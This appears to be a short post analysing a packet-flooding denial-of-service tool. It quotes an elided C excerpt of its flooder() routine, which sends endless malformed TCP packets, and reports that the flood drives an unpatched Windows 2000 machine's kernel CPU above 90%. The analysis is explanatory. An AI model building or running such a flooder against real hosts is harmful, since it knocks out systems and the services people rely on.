The code is very easy to understand. The "interesting" part is
in flooder(), my comments inline:
void flooder(void)
{
...
packet.ip.ip_p = IPPROTO_TCP;
packet.ip.ip_tos = rand();
...
packet.tcp.th_flags = random();
packet.tcp.th_win = 65535;
packet.tcp.th_seq = random();
packet.tcp.th_ack = 0;
packet.tcp.th_off = 0;
packet.tcp.th_urp = random();
packet.tcp.th_dport = random();
...
cksum.pseudo.ptcl = IPPROTO_TCP;
cksum.pseudo.tcpl = random();
...
for(i=0;;++i) {
...
if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in,
sizeof(s_in)) < 0);
}
}
To sum up and simplify, this sends TCP packets with bad header.
As a result, my unpatched win2k's CPU graph stays over 90%
in the kernel, causing Albinoni to sound bad.
